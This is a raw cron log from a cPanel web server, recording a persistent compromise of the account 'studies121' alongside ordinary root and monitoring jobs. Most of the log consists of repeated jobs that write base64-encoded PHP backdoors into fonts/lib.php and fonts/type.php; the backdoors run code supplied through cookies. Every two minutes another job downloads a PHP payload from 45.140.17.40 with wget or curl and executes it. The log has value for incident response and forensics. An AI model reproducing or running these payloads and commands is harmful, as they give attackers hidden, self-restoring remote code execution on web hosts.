Sep  2 14:02:01 ip-184-168-122-23 CROND[27748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:03:01 ip-184-168-122-23 CROND[27923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:03:01 ip-184-168-122-23 CROND[27926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:03:01 ip-184-168-122-23 CROND[27927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:03:01 ip-184-168-122-23 CROND[27925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:04:01 ip-184-168-122-23 CROND[28012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:04:01 ip-184-168-122-23 CROND[28016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:04:01 ip-184-168-122-23 CROND[28015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:04:01 ip-184-168-122-23 CROND[28014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:04:01 ip-184-168-122-23 CROND[28017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:05:01 ip-184-168-122-23 CROND[28133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:05:01 ip-184-168-122-23 CROND[28131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:05:01 ip-184-168-122-23 CROND[28129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:05:01 ip-184-168-122-23 CROND[28130]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:05:01 ip-184-168-122-23 CROND[28132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:05:02 ip-184-168-122-23 CROND[28134]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:05:02 ip-184-168-122-23 CROND[28135]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 14:06:01 ip-184-168-122-23 CROND[28226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:06:01 ip-184-168-122-23 CROND[28228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:06:01 ip-184-168-122-23 CROND[28229]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:06:01 ip-184-168-122-23 CROND[28231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:06:01 ip-184-168-122-23 CROND[28230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:07:01 ip-184-168-122-23 CROND[28325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:07:01 ip-184-168-122-23 CROND[28329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:07:01 ip-184-168-122-23 CROND[28328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:07:01 ip-184-168-122-23 CROND[28327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:08:01 ip-184-168-122-23 CROND[28419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:08:01 ip-184-168-122-23 CROND[28421]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:08:01 ip-184-168-122-23 CROND[28424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:08:01 ip-184-168-122-23 CROND[28422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:08:01 ip-184-168-122-23 CROND[28423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:09:01 ip-184-168-122-23 CROND[28508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:09:01 ip-184-168-122-23 CROND[28509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:09:01 ip-184-168-122-23 CROND[28510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:09:01 ip-184-168-122-23 CROND[28512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:09:01 ip-184-168-122-23 CROND[28513]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 14:10:01 ip-184-168-122-23 CROND[28719]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:10:01 ip-184-168-122-23 CROND[28720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:10:01 ip-184-168-122-23 CROND[28722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:10:01 ip-184-168-122-23 CROND[28725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:10:01 ip-184-168-122-23 CROND[28723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:10:01 ip-184-168-122-23 CROND[28729]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 14:10:01 ip-184-168-122-23 CROND[28730]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:10:01 ip-184-168-122-23 CROND[28731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:11:01 ip-184-168-122-23 CROND[28825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:11:01 ip-184-168-122-23 CROND[28828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:11:01 ip-184-168-122-23 CROND[28829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:11:01 ip-184-168-122-23 CROND[28827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:12:01 ip-184-168-122-23 CROND[28913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:12:01 ip-184-168-122-23 CROND[28915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:12:01 ip-184-168-122-23 CROND[28917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:12:01 ip-184-168-122-23 CROND[28918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:12:01 ip-184-168-122-23 CROND[28916]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:13:01 ip-184-168-122-23 CROND[29015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:13:01 ip-184-168-122-23 CROND[29016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:13:01 ip-184-168-122-23 CROND[29018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:13:01 ip-184-168-122-23 CROND[29020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:14:01 ip-184-168-122-23 CROND[29102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:14:01 ip-184-168-122-23 CROND[29104]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:14:01 ip-184-168-122-23 CROND[29106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:14:01 ip-184-168-122-23 CROND[29107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:14:01 ip-184-168-122-23 CROND[29105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
